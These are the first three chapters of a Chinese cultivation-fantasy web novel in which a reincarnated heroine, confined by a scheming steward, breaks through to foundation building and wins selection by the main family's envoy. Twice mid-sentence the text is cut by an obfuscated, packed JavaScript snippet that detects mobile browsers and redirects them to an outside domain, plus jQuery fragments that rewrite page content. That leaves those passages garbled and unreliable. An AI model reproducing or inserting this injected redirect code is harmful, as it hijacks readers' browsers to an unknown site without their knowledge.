《大师姐只求飞升》 1. 软禁 清晨山间薄雾弥漫,翠蔓披拂的林间小道上,有两名背着竹篓,着素白麻衣的少女匆匆前行。 走在前面的女子梳着双丫髻,青绿丝带被细细编入发丝间,于胸前垂下。她生得张瓜子脸,杏眼桃腮,唇不点而朱,十分娇俏秀美,此时面上带了三分急切,边走边频频回头:“姐姐,我们需得快些,晌午本家的人就到了。听说此番那位宋小姐开了恩典,所有旁支的族人都有机会测灵骨呢……若你能入选,就可去覆羽山修行了!” “不急。”身后女子语气淡淡。饶是同伴如何催促,她依旧步履未变,迎着日光缓缓走在林木间,兼之四周雾气朦胧,叫她瞧着不似采药的,倒像山间隐士高人。 “宋楹!”红豆有些急了,自己一心为她考虑,怎么她反倒还不慌不忙!如此千载难逢的机会,若错过了,可就真得在这旁支别庄待一辈子了! “你如今是越发没规矩了。”本朝上下尊卑规矩森严,世家婢女仆从皆脱身贱籍,直呼主人之名,若叫旁人听去了,少不了要定红豆一个不敬之罪,可扶萤虽如此说,面上却并无不豫,反因她的没规矩带上些笑意。 初托生于这具身体醒来时,身旁只得这位婢女陪伴,想来是原身亲近之人。她既得人躯壳苟活,对于原主身边旧人,总要照拂一二。 于是她难得耐心解释:“他们要真想我参选,便不会在早晨支我去后山采药了,眼下赶回去,怕还有后手等着我们。” 二人背篓内装的皆是浣心草。此灵草有洗心换骨之效,所炼制丹药能去除经脉杂质,于修行大有益处,因此其来源素为修行世家所把持。 然很少有凡人知道,此草只会生长在乙木之气极浓的地方,从抽芽到枝叶初成需得两百年,而待到其开花又得两百年,野外寻来极为麻烦,故而世家皆会设灵药圃专门种植,以便随时采用。 故而今晨管事以寻药之名将她主仆二人支走时,她便知其用意了。不说要在山中寻灵气充足之地有多难,单说需求数目五百株之多,要在半日内寻得也几乎不可能,若非她能感知五行灵气方位,眼下两人只怕还在山内兜圈子。 红豆初时不明扶萤话中之意,待回过味儿来,脸色便有些发白:“你的意思是说,管事故意要将我们调开,不叫你参加评比?”她细眉紧蹙,“可这怎么可能呢……你素来行事低调,在庄内应当并无树敌才对。再说此次评选乃是本家特意吩咐,若知晓他这等行径,定然会怪罪下来的!” 她一拍脑袋,长舒一口气:“是了!若叫宋小姐知晓他们阳奉阴违,定不会轻饶他们。咱们可不用怕!” 到底是闺中少女,心思还真是单纯。扶萤淡笑了下,不欲多解释,只是…… 这是她第二次提起宋小姐了。 她抬手拂开一丛挡在身前的花枝,状若无意道,“你说的那位宋小姐,可是玄极宗的宋华月?” 红豆连连点头,眼中满是艳羡:“除了她,整个凤麟洲还有哪个宋小姐呀?” 此话倒是不假。宋之一姓不少见,可放眼海内十洲,提起宋小姐,便只能是那位宋氏的嫡出小姐宋华月。 据说其生母宋夫人与夫君成亲后多年无嗣,一夜梦见仙人以柳枝相赠,枝上露水滴入腹中,醒来遂有孕,宋家上下欣喜若狂,皆以为是天赐的福缘。 而那孩子果然也不负众望,降生时便天生五色彩霞,鸾凤和鸣,久旱的南疆一夜之间降下甘霖,黎民百姓感激叩首,皆道果真天命神女,立祠堂庙宇为其歌功颂德,谓之圣女祠。 家世显赫,花容月貌,天资过人,风光无两。 扶萤目光落在头顶花枝上。那是枝绯红的夹竹桃,微卷的花瓣鲜艳欲滴,淡黄花蕊间一点露水滴下,正落在她眉间。 “天命神女么……”她淡淡道。 “正是呢!”许是这个年纪的少女总是对同龄人格外留意些,说起宋华月,红豆算是打开了话匣子,“要说宋小姐可真是命好啊,生得美便不说了,难得一身天纵之资,不过二八年华便已筑基后期,我还听说玄极宗宗主欲要为独子洛呈求娶她,洛呈可是自小被当作玄极宗下任宗主培养的,那宋小姐以后不就是门主夫人了——哎呦!” 红豆正津津乐道,脑门便挨了一下,她捂住额头状若委屈:“我有说错嘛!干嘛打我!” 扶萤淡笑:“此等世家大宗内部之事,你与我私下说着玩笑也就罢了,在外可莫要多言,当心惹来是非。” 红豆见她神情淡淡,忽地想到自家小姐从前是被退过亲的,自己说这些儿女情长,只怕是触及她的伤心事了吧? 自以为窥破了扶萤少女心事的红豆便柔声劝慰道:“小姐,我知晓那沈公子是人中龙凤,可他对你无意,也强求不得。待你被本家选上,还缺他一个男人吗?”她越说眼睛越亮,“覆羽山那么多显赫世家的少爷,小姐又生得美,去了那处找个倚仗,叫庄子里那些狗眼看人低的家伙再也不敢欺负咱们……” 扶萤打断她道:“我行事无须倚仗任何人。” 她重生以来还是第一次这般正色与红豆说话,牵起侍女的手,认真望进她琥珀色澄澈双眸里:“你也莫要再提这些话,从前的苦日子都过去了,我会带上你一同去覆羽山,跳出这庄子之外,看更广阔的一片天。” “啊?噢。”红豆有些不适应自家主子的正经模样,等听清她的话又忍不住想反驳,她们是女子,且不比宋华月那般身份高贵,如何靠自己闯出一片天呢,这几乎是不可能的事…… 于是红豆下意识想劝劝主子,让她像从前那般性格柔顺些。可扶萤的目光好似淬了一层冰雪,她被那眼神所摄,话到嘴边忽地有些不知如何开口。 半晌,她点头乖巧应承下来:“我知晓了。” 不管她有没有将自己话真正听进去,至少短期内应当不会再提让自己攀附世家子弟一事了。 扶萤不再多言,只是在心中将她所言那位沈公子思量了片刻……此事扶萤还是初次听说,感情这宋楹从前还有过一门亲事?看来她之后还需好生探听下这位沈公子之事,免得哪天相见不识,露出马脚。 说话间,面前山路已尽,显出一方断崖来。 扶萤轻车熟路提住红豆衣领,纵身跃至对面山头。 二人来时已有过这一出,红豆此时倒是见怪不怪,可见扶萤神色轻松,仍忍不住好奇:“小姐是何时学会这手轻功的,我之前竟都不知道呢!” “这不是轻功。”扶萤淡道,她不知如何向侍女解释此乃御风之术,索性糊弄过去,“此事先不提,以后你便知晓了。” “噢。”红豆本也是顺口一提,虽觉奇怪,却也未把这事放在心上。 她们这等旁支的庶女庶子自小养在山庄别院中,平日所受教导同普通凡俗富贵人家的少爷千金相似,只多一项炼体之术,每人需择一兵器进行修习,修成后与江湖上的武者别无二致。 而这具身体的原主宋楹据传有心疾,体弱多病,因此并未修兵器,只在自己院内练一些轻身功法,倒比旁的小姐公子们过得轻松快乐。 红豆知晓她平日练习勤勉,但还未真正看她使出来过,今日得见,也只以为这便是小姐所修功法的一部分,心下赞叹了少许,便将此事抛至脑后。 海内十洲修者众多,在许多像她们这般人的眼中,会些许轻功便可算得上薄有天资,至于更精深的修行之道,则只有世家嫡系的才有资格触及,多数普通人终其一生也难以触及那玄妙法门。 原主便是因这层无知才丧了命。 扶萤心下冷笑,她虽魂魄换了个壳子,但原先所习功法却没忘,初来时内视之下便觉宋楹分明是绝佳的修行根骨,比之前世的她有过之而无不及,却不知为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883594|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被诊为天生体弱,至于那所谓的心疾更是无稽之谈。她也是毫无察觉,就这般被自小养在闺中,空负一身天资,养成个娇弱的体格。 也正是这般体格才会因数月前一次落水卧病三日,最后竟香消玉殒,叫她一个无主孤魂捡了便宜罢。 而至于那落水的缘由当真是原主不小心还是另有隐情,想来也有待商榷了。一个并不存在的疾病,一次巧之又巧的落水……这小小宋家别庄,倒是应了水浅王八多的俗语。 扶萤想到此处,目光微沉。 宋楹是个可怜女子,她既借其身得以还魂,自当仇其所仇,以谢其恩德。 便从这别庄开始动刀吧。 ** 主仆二人又行了半炷香时间,前方植被逐渐稀疏,一座白墙黛瓦的雅致院落显现出来,依松傍柳,数枝紫薇从墙内探出头,洒落慢阶绯红花瓣。 扶萤出门时便敲定了回来路线,此时将红豆一拽,绕行至了侧门,然而将门一推开,却见眼前已立了位锦衣华服的中年男子,其浓眉深锁,深目钩鼻,正是庄子的大管事宋连山。而其身后乌压压一群深青圆领袍的侍从,皆面色肃然,垂首静立。 “你们倒是动作快。”见了扶萤二人,他眼中惊异一闪而过,随即很快掩饰过去,挂起笑容迎上来,语气亲切道,“受累了吧?先回屋中歇会儿,一会儿领你去见客人。” 此话是对扶萤说的,而话中的客人,自然便是本家前来测灵骨之人。管事向来和蔼,与府中众多庶子庶女们关系皆不错,若是先前的宋楹在此,只怕会对其毫无防备。 红豆皱眉正要诘问,被扶萤伸手拦下,她垂头沉静应道:“是,大管事。”便将自己和红豆背上竹篓取下递给其身后侍从,行礼退下了。 两人走出老远,仍能感到管事阴鸷目光黏在背上。直到转过回廊彻底瞧不见那群人了,红豆才忍不住出声:“小姐,你方才怎么不当面问个清楚!若他真是有意阻挠,咱们就把事情闹大,闹到本家来人的面前去!” 扶萤若有所思:“我们有意绕到偏门进来,他们却仍候在此处,这说明什么?” 红豆被问得一愣。 “说明他们对我们的行踪早就有掌控。”扶萤不等她领悟便道,“不仅如此,他应当在我身边布下了眼线,连我让小厮留个偏门这种事都知道……”她声音极轻,语气玩味。 路上她并未察觉到窥视的痕迹,故而大管事是早直到他们会从偏门走,而非方才看到了二人行迹。 “小姐!不是我!”红豆闻言下意识为自己的清白辩解,“我不会出卖你的。” “没说是你。”扶萤瞥了她一眼。 不过片刻已到了她的居所雪霏苑前。管事说让她回自己屋中,定然早就备下她“不听话”的后手,这扶萤已有预料,只是看见苑前两列虽是寻常家丁打扮,实则皆已迈入筑基期的修士时,她还是忍不住轻笑出声。 不过一个小小孤女,竟这般大手笔,倒让她对幕后之人愈发感兴趣了。 “你们这是要软禁我们吗!”红豆自然不如她沉得住气,一见这阵仗,便是原先还对扶萤所说有所怀疑,眼下也是深信不疑了,“你们不过受雇主家的仆役!我们小姐虽是庶出,但也是你们主子,你们怎么敢如此张狂!” 领头修者便出列来,笑意盈盈地作了一揖:“姑娘误会了。今日外面乱得很,宋三姑娘体弱,未免被来客惊着,还是先在苑中修养为好……奴才们不过听命行事罢了。” 他顿了顿,又像是要安抚扶萤般补了一句:“你且歇息着,待稍晚些,便会有人单独领你去面见来客。”说完,便立在院子门口不动了。 这些人摆明是要看住他们!红豆忿忿,正绞尽脑汁思索着对策,一路上支楞的扶萤却一反常态乖顺起来,垂头低声应道:“是。”便拉着她入了院中。 2. 筑基 “小姐!”门一合上,红豆便猛地甩开扶萤的手,她雪白面颊染上嫣红,是气的,“你怎么能就这么妥协了!”先前在路上明明还豪言壮语,叫她都有一瞬心旌动摇。 她倒也不是为别的而生气,只是替扶萤打抱不平罢了。她自己生来便是奴籍,在哪都是最低等的仆役,但小姐不同,她生于望族,只是命不好落在了旁支,若能得一个逃离这方天地的机会,将来前途不可限量! 只是眼下外面那些人层层把守住院子,她们两个女子要想逃离此处怕是难了。 “我自有法子。”扶萤面容沉静地在红豆肩头轻拍,示意她稍安勿躁。 “还有什么法子,我们总不能硬闯出去!硬闯……”红豆口中嘟嘟囔囔,忽地想到什么,“是了!我们可以偷溜出去!” 她想一出是一处,开始晃扶萤肩膀:“小姐!你还记得我们儿时在后院弹弹珠时发现的狗洞吗?我后来本想从那处溜出去玩,就将它刨大了些,只是一直没能用上,便用杂草掩起来了……此番总算有了用处!” 扶萤自然是不记得的。她只承袭了原主一部分记忆,像身世、姓名之类重要的信息,以及近期发生在身边的事,而久远以前的琐碎之事,她却是一点印象也无。 “当然记得。只是我们能想到的,你以为他们会想不到吗?此时只怕早就在四面都布下眼线,即便我们侥幸逃出,也绝无可能去到正堂,面见本家来使。” 扶萤覆上红豆的手,那双手想是干惯了粗活,指尖满是薄茧,扶萤在那茧上摩擦片刻,缓缓攥紧了。 “不管是出于什么原因,他们不愿我被本家来人看到。”她牵着红豆,将她往房中引,“或许是因为名额有限,或许只是背后之人单纯不愿见我如意,故意使绊子……” 推开八宝雕花木门,映入眼中的是整洁卧房,松竹绣屏,檀香袅袅,虽是雅致,但对于一个闺中小姐来说似乎有些过于简陋了。 便是他们所在的小院,虽得了“雪霏”之名,却是整个庄子里最偏僻,最“清净”的一处,原主在这家中处境可见一斑。 “归根结底,他们的目的不过是要杜绝那一点我被选走的可能,将我永远留在此处罢了。”她的声音渐低,最后化作一声叹息。 “小姐……”红豆已是目中蕴泪,伸手来搀扶她。 可她的小姐却不像她以为的那样脆弱,事实上,扶萤此时目中满是兴味盎然,话锋一转,笑道:“可他们越是处心积虑要将我掩埋,我就越不想让他们如愿。” “既然他们不想让我露面,那我就遂了他们之意。可即便是足不出户,我也会让所有人都看见我。” “可是……”红豆还想劝说几句,她不明白,不出门怎么能将大管事的行径昭告众人呢? 只是扶萤已经捏捏她手腕,掀帘入了里屋,只留下轻描淡写的一句。 “今日之后,世人提起宋氏,将不会再只知晓宋华月之名……还有我,宋楹。” “你守在外面,任何人前来皆不要扰我,只说我在休息。” 竹帘放下,扶萤身影转过屏风,瞧不见了。红豆被这一番话震住,半晌没有动作,几乎疑心她家主子是失心疯了。 要和那位宋小姐比肩,怎么可能呢? 可即便心中疑惑,红豆仍是撅着嘴照办了。她拿上绣箕和小木凳,坐到屋门口,开始守着门专心做绣活。 既然离庄无望,至少她多做些绣品托人下山卖了换银两,能让主人的日子好过些。 …… 落日西沉。 红豆绣了一下午织物,只觉目中干涩。她忍不住揉揉眼睛,又将手中绣片拿远了些细细端详,满意点头。 随即她担忧的目光落在紧闭一下午的木门上,扶萤自入里间后便再没了动静,也不知是睡过去了,还是暗自垂泪。红豆忍不住摇摇头,收拾收拾东西准备去后厨做些吃食待会儿送进去。 她自然不相信扶萤真能想出什么法子破解此番困局,那些话她也只当是少年心性,她虽叫扶萤一声小姐,却年长她数岁,自认为已经瞧清当前局势——她们只有认栽的份儿! 真出不了庄子,还不知因什么得罪了大管事背后之人,那今后需要打点的地方可就多了去了!她少不得要为小姐多思量些许。红豆这样想着,将绣片仔细收捡好纳入小篓中,擦擦手入了后厨。 在扶萤不知道的时候,已经有一位小侍女开始为她的将来打算起来。 雪霏苑外,围了一下午的家丁们也松下心神,大管事过来时,瞧见的便是一个个下人或是倚墙打盹,或是三两聚在一处聊天说笑,意态松散。 若平日里瞧见下人懒散,他少不了说上几句,可此时他却一反素日的高姿态,低眉上前一揖:“众位弟兄辛苦了。” 仆役中为首的青年回头淡淡看了管事一眼,他没有了面对扶萤时故意装出来的谨小慎微,此时看管事的神情带出几分睥睨之态,自然不像个仆役了:“管事费心,夫人知晓了,自当重重有赏。” “紫烟夫人亲自交代下来的,我们可是办得小心。”管事捻着胡子嘿嘿一笑,形容谄媚,“宋楹清晨入山采药,回来因劳累回屋休息,却不小心睡过了头,忘记了面见本家使者的时辰……这可是任谁来也挑不出错处的。” 青年笑而不语,大管事见他不接话,只得挑明了些:“不知紫烟夫人现在何处?这戏演到末端,也该来验验成果才是。” 话里话外,无非是想见那位夫人一面。 “是在说我吗?”身后忽地传来一声女子轻笑,那声音娇媚中带着丝沙哑,听得管事神魂一酥,忙回头看去。 只见一紫衣女子从道路尽头走来。她生得柳叶眉,丹凤眼,朱唇微挑,娇媚中神色又难掩一丝高傲,好似朵沾霜的芍药,确是世间少有的美人。她走到近前,先是朝仆役中为首的青年略一点头,才转向大管事:“办得不错,此番有劳你了。” “紫烟夫人,你来了!”大管事一见了女子,笑得牙不见眼,巴巴就凑上前去,却又不知该如何同美人亲近,只能呆呆僵在原处。 女子轻笑着睨了他一眼,目光春水含波,若不是还有一干旁人在此,只怕两人就要调起情来。 青年察言观色,挥手让身后其余“仆役”先行退下,只留下三人相对。 此时天色已近黄昏,斜阳西沉,归鸦四起,夜风吹拂过这条长道,卷起满地落叶。 大管事看着天色,志得意满一笑:“眼下那使者只怕已行到山门外,一切尘埃落定,她便是事后不甘,也是翻不起花了。” 紫烟夫人目光扫过紧闭的院门,眉峰微挑,轻哼一声,带出些蔑视神色:“……这小贱蹄子不过一个庶出野种,也敢攀沈公子这根高枝!”她笑起来,虚空在那门上点了点,“这下困在院中错失修行良机,也叫她知晓与我家主人抢人的下场!” 原来还有这层缘故!管事心念电转,随即了然。这自古以来,许多明争暗斗说到底不外乎源于男欢女爱之事,宋楹这女子虽是庶女,可好在乖顺娴静,生得也美貌,听闻自小便被说了亲事,想必便是两女争一男的老套故事了。 他心下微哂,可目光落在紫烟夫人雪白胸脯上,又暗想世人皆说风月苦果,可即便知晓沾惹是非,不也前赴后继么? 这桩事办得漂亮,也不知能否获得美人青睐。若真能搭上紫烟夫人这条线,自己日后不也能走上长生之路? 大管事心中逐渐热络起来。 众人说话间,甬道间风渐渐大了些,地上落叶再次被扬起来些许,打着旋在空中飘荡,这次却迟迟未落,逐渐形成风旋,在雪霏院门前汇聚。 “不对。”这群人当中属紫烟夫人修为最高,她也最先嗅出了这股风的不同寻常,“这风有问题……” “有甚问题?”在大管事看来,这就是一阵稍微大些的山风而已,这在山里很常见,然而眼见着青年的面色也肃然起来,他也不由心下微凛。 难道真有问题? 却见此时风旋已经越来越大,须臾间已经形成一道龙卷直冲天际,这下便是管事瞧出不寻常了,三人聚在一起仰头望着逐渐暗下来的天空,这不是先前黄昏的天色,而是陡然暗沉下来,直似骤然入夜了一般。 “这是有人要突破了!”紫烟夫人看到此处,忽地沉声喝道。 突破? “可庄子上并无修士,只今日你们前来……”管事哈哈笑了声,“应当是搞错了。” 他话音未落,雪霏院中,一道洪流般的白色电光自天边奔涌而下,其气劲叫先前的风旋为之停滞,而这道电光像是一道信号,压低的云层内数息间落下九道惊雷,轰隆雷鸣彻底将整个山庄的人目光都引至此处。 雷鸣过后重归寂静,院顶天空紫烟氤氲,此时周遭狂风便像是被无形的气罩隔绝在外一般,半点侵扰不得院子。 即便仲夏时节,这样的天气骤变仍是少见,渐渐便有纷嚷的人声朝这边来,听着有下人,也有庄中的少爷小姐们。 紫烟夫人一把揪住管事衣领喝问:“院中有谁?” “院中不就那小丫头……”大管事想到什么,面色忽地惨白,“不可能,绝对不可能!” 只是说再多遍不可能,他也知道,只怕是要有大事发生。 不过须臾,原本凛冽的风便像陡然像被压制一般,四下空气都凝滞了,三人只觉后背一凛,一股极强威压从头顶缓缓压下。 是了。这天象既然紫烟夫人瞧出来了,庄中人瞧出来了,那自然还有别人能瞧出来。 天边一道落星样的白芒闪过,一人自云端步下,缓缓行至院前,饶有兴致打量起四周。 那人样貌瞧着不过弱冠,身着竹青道袍,手持拂尘,面白如玉,杏眼明亮有神,倒是个颇为俊俏的青年。可观其行止沉稳,气度雍容,周身隐带威势,却全然不似这个年纪应有的。 三人下意识退避开,紫烟夫人使了个眼色,管事只得冷汗涔涔地迎上前:“尊使……” 来人正是本该早已离去的本家使者青阳子。 “我行至山外,忽见此处异象,便回来看看。”青阳子顿住脚步,目中兴味盎然,拂尘轻点院门笑问,“这院内是何人?” “不过一个卧病在床的庶女罢了。”管事赔笑。 “噢?”青阳子仍是笑,语气却微微冷下来,“这分明是修士突破之时才有的天象,你却说其内只一个不通道法的庶女,莫非是有意诓骗本座,里面有见不得光的东西?” “这……”管事语塞。 青阳子又踱步片刻,抬头观摩天色,忽道:“不对。这空中紫气似散非散,一脉相凝,似有雏凤之形,是极好的天象。” 修界历来有根据突破后的天象断定格局的方法,修者称之为“观气”,若突破之人自身根基不稳,靠着丹药强行修炼提升,其气便是逸散的;反之,若突破者功底深厚,气便凝而不散,甚至能幻化成形,颇具灵性,而所有的形态中,又属龙凤为最上等,能凝成此等之人,必然得是修炼多年,厚积薄发才行。 “内里那人显然已经修行多年,这你又作何解释?”青阳子语气已带上怀疑。 大管事心下一沉。修仙世家中,除却本家嫡脉子女,其余人是不可修习术法的,这是老祖宗定下的规矩,若有违背,逐出家门充作奴籍都是轻的! 这风和雷都来得古怪,实在不怪青阳子起疑,可他们也不知这怪象究竟是从何而来啊! 大管事焦头烂额,忽地灵光一闪,认为抓住了问题症结所在:“尊使明鉴!我们按照宋夫人吩咐,平日里可是从未教习这些少爷小姐们修行之法啊!”说到此处顿了顿,语气意味深长起来,“可若是她自己私下偷偷修习了禁术,也未可知……” 是了,只有这种可能,定是那宋楹偷偷修行了什么邪功!难怪他总觉得她这段时间性情有变…… 青阳子闻言沉默片刻,忽地朗声大笑:“倒是我行事古板了。”他道,“在外面说这许多有何用,是人是鬼,进去看看便知!” 说着袖袍一卷,紧闭院门轰然洞开,管事几人对视一眼,连忙跟上, 青阳子甫一踏入院中,入眼一片杂乱萧瑟,不由回头淡道:“你们便是这么对主子的?” 管事弯腰赔笑:“这宋楹常年卧病在床,许是下人们疏于打扫,怠慢了些……” 青阳子不置可否,几步穿过中庭,来到了厢房门前。这时后厨的红豆也跑了出来,先前的风雷她倒是全无感知,只听见门被轰开的巨响,这才出来查看,此时见打头几人除却青阳子皆是面色阴沉,院门外还有许多身影探头探脑,她一时有些呆住了。 “宋楹人呢?”大管事率先上前揪住了她衣领,厉声喝问。红豆被他吼得一抖,虽不知眼下是何情形,也直觉不是好事。 “小姐在屋中休息……”她轻声解释着,有些惶然地左右张望,试图弄清现在的状况,目光与人群中的侍卫青松对上,她一喜:“青……” 紫烟夫人目光陡然一厉,“这小妮子是要向她的同伙报信呢,给我把他二人拿下!”话音未落,已有侍从将二人揪出来,并排着压在庭中跪下。 红豆还想说话,已经被人眼疾手快堵住了嘴,青松也是满目恐慌,讷讷不言。紫烟夫人见状双目微眯,须臾间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883595|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中毒计已成,不论异象因何而生,也不管这宋楹是否真的偷偷修习了秘术,他们只需一口咬死她修习邪功便可!一个不安分的庶女,还有贴身侍卫作证,捏死她还不是如捏死一只蚂蚁一样简单…… 她瞥了一眼眼神躲闪的青松,美目波光流转,唇边勾起一抹志在必得的微笑。 “此处人多耳杂,且将这二人压下去细细审问,我等先会会这胆大包天的宋楹姑娘!”见青阳子不言,她自觉他是赞许了自己做法,一挥手,侍卫们就要将两人带走。 正此时,一道清亮女声却忽地响起,叫在场所有人皆动作一顿:“慢着。” 一直紧闭的屋门吱呀一声,被从内打开了来,一长发披垂,周身素雅的少女缓缓步出,双眸平静如井,静静看着面前众人。 她目光清澈,从为首几人面上缓缓滑过,而后抿唇笑了下。那笑容也颇为含蓄,柔柔弱弱的,像一朵风中摇曳颤动的兰花:“我这院子倒是好久未曾这般热闹了。”她道,“这是怎么了?” 一时无人应她。只因在场众人无论是否修为深厚,皆隐隐察觉到少女周身气机颇为玄妙,紫烟夫人已是面色大变,青阳子更是目光闪动,仔细将她从上到下打量起来。 管事只觉宋楹和先前所见有些不同,却不知问题出在何处,见四下无人说话,只得强自板起面容:“你在这院中捣什么鬼,快快从实招来!” “我不过是睡了一觉,管事不是知道的么?”扶萤丝毫不为所动,闻言只是笑笑,“我今晨和侍女红豆去采药,因疲倦便小憩片刻,不成想竟然误了选拔的时辰,着实可惜了。” 她口中说着可惜,可面上却无丝毫惋惜神情,反而有些冷淡。 她怎会知晓这般说辞?管事忽地冷汗涔涔。这是他和紫烟夫人私下商定的说辞,宋楹怎么会知道! 青阳子已经瞧出其中玄机,淡淡一哂:“小小宋家别庄,倒是波涛汹涌。” 这些人如何明争暗斗他都不感兴趣,只宋楹修行一事乃是动摇世家根基的大事,不能被放过。他转向身前少女,冷道:“你也是有些本事,不过半日便已至筑基,可知私练功法是何罪过。” 筑基期!大管事面色忽地惨白:“怎么可能!她今晨还是个毫无修为的普通凡人……” “小女子不懂真人在说什么。”扶萤扬起下巴,直直看向他,面上的懵懂不似作假。 青阳子看了她良久,扶萤一直神情不变,他不由有些疑心起来,难道她当真不知? 可若不知却有了这等修为,如何可能? 不,也不是不可能…… 他想到什么,忽地心中一动。 “你不知晓么?你已有筑基期的修为,迈过了引气入体这一关,已经算是正式踏入仙途了。”青阳子一面说,一面仔细观察她神情,“只是……庄中从未教习,你又是从何处得知修行秘法的?” 他话锋一转,忽地一手搭上宋楹肩膀,沉声道:“莫不是修了什么邪魔外道吧?” 青阳子何许人,半步元婴的修士,他如此不加收敛地释放威压,周遭不少少爷小姐们顷刻间汗湿重衣,双腿战战,承受力差些的更是当场昏迷,被侍从奴婢们连拖带抬地带下去。 身处漩涡中心的扶萤却神情自若,她瘦削脊背挺得笔直,在青阳子目光下盈盈欠身,垂眸道:“说来惭愧,我自小体弱,无法与别的兄弟姐妹一同修行体术,便成日待在屋中,叫我侍女寻一些话本来看,对那些斩妖除魔的神仙故事很是向往。” 她声音虽轻,但娓娓道来之时却有种奇怪的魔力,叫人不由自主听她说下去:“我向往外面的广阔天地,便想着,我这等病弱之躯,若有朝一日能痊愈该有多好,如此我便是脱去宋家女的身份,做一名浪客游遍江湖,也算了无遗憾。” 这等想法可实属少见!当世女子,哪个不是梦想着生在贵族之家,嫁个好人家相夫教子……这女子竟然想要主动舍弃世家庶女的身份,当个寻常浪客流落江湖? 旁人或许觉得扶萤说这话是哗众取宠,可青阳子能看出她所言乃是出自真心,不由更加另眼相看。 “这念头在脑中盘旋不去,许是想得多了,便做了个幻梦。”扶萤说到此处,抿唇微笑,似是有些赧然,却并没有详说梦境如何,只道,“未曾想一梦醒来房外便被团团围住,倒真应了梦中之事,也是一桩奇遇。” “什么梦?”青阳子却是被挑起了兴趣,深深看进她眼里。 扶萤缓缓抬起头,一字一顿:“我梦见天际紫云低垂,有一碧衣高髻的女人破云而来,亲自将手中宝剑赠予我。她说,她怜惜我境遇,望我以此剑斩除周身病苦,得证大道。” 她清冷嗓音如珠玉落盘,一时满堂皆静,目瞪口呆看着面前柔弱少女。 管事已经恨不得晕过去。她、她竟敢如此诓骗来使! 他沉不住气,上前几步就要揭穿扶萤的说辞,却被紫烟夫人拉住了袖摆。 他回头,只见美人如霜的面色,以及因紧咬牙关有些扭曲的嘴唇。 一段长久的沉默过后,青阳子率先拊掌笑起来。 “好、好!”他神容舒展,“早听闻有人天生能以神魂沟通天地鬼神,无需同寻常人一般苦修便可踏入修行一途!只是某从前只当是谣传,今日竟有幸得见,也算是平生幸事了。” 他再落在扶萤面上的目光就很温和了:“你且跟我回去面见夫人罢,若能得她青眼,日后自当前途无量。” “是。”扶萤将手搭上他伸来的手,掸了掸裙摆,行止间落落大方,丝毫没有小女儿扭捏情态,看得青阳子又不由暗自点头。 毫无骄奢之气,倒比先前入选的许多少爷小姐好多了。 他此时对扶萤是越看越满意,心下已经笃定此女日后非池中物,自然不介意在她微时卖个人情,便笑着道:“那是你的婢女罢?且将她捎上,若你还有其他要带的仆从,也可一同带去本家。” 被他所指的红豆微微一愣,身上原本素白的麻衣缓缓变幻,从裙摆开始染上鲜艳的桃粉色,空空的腰间束上了柳绿系带,其上缀着密密的珍珠,叫门内外一干侍女仆从们看红了眼。 一旁的青松顿时挣脱束缚,上前几步,轻咳了几声。感到周遭又羡又妒的目光落在身上,他不由挺直了腰杆。 他可是主子身边最得力的侍从,虽然……虽然他昨日收下大管事的金豆子透露了主子今日行踪,但此事天知地知,她是断无可能察觉的。 却见扶萤目光扫过在场所有人,落在青松面上,而后缓缓微笑起来。 “没有了。”她说。 青松忽地遍体生寒。 3. 神女 “……师姐一路助我良多,洛呈心有感念,只是……” “唯有来世再报恩德……” “你出身低贱,能到如今地步,实属不易。” “只可惜……” 是谁在说话? 眼前纷乱情景闪过。大雨,泥水,刀光,剑影,师长同修,一张张愤怒、痛心、心虚的面容。 最后映入眼瞳中的,是铁箭头漆黑冰冷的弧光。 “能为我宋氏奉献,也是你之幸事。”一道声音在她耳边幽幽叹道。 扶萤忽地睁眼。 她所在乃是一处华美的车辇内,四面帷幔坐垫是深紫色,绣着白鹤纹,车驾中间有个鎏金香炉,正点着白檀香,烟雾缭绕,香气弥漫。 红豆坐在靠窗的位置,此时正一边偏头往被风掀起的窗幔外瞧,拢在身前的双手一边不自觉地掐着掌心,将手掌掐出道道红痕仍不觉。 “我们就这般……被选中了?”直到坐上飞往本家的鸾驾前,红豆犹自不可置信。她狠狠一掐自己的脸,然后嗷嗷痛叫着松开手,确定这不是自己的白日梦。 这一出一路上已经发生无数回,如今只不过是又一次上演。 见红豆咬着嘴唇发呆,扶萤轻轻叹了口气,缓声道:“你有什么想问的吗?” 红豆这才回过头来看她。此时的扶萤在她眼中早不是那个独居小院的庶女了,她眼神中自然而然便带了点畏怯,半晌才讷讷道:“小姐,你是怎么做到的呀。” 她与扶萤同吃同住,自然最是清楚她的状况了,若说她突然就习得了仙法,怎么可能呢? “如何不可能?”扶萤低头看自己指尖,神色淡淡,红豆这才发觉自己将心中所想说出来了。 “那……你是真的学会了法术?就在这一个下午的时间?”红豆有些不信,“可你分明什么经书也未看过,我可是知道的!”她家小姐平日里爱看的净是些讲男女爱情的话本子,还总爱将自己代入成女主角,别的书是半点不爱看的。 “就不能是我当真得了神明眷顾?”扶萤又笑。 她自然不可能告诉红豆自己本身魂魄带有金丹后期法力,正好宋楹的身体又天资上佳,可令她魂体修为发挥到最大。然而即便如此,在半日内强行提升修为至筑基也耗费她太多精力,故而她方才才会不由自主睡去。 “可……可那是宋小姐的……”红豆没说完。 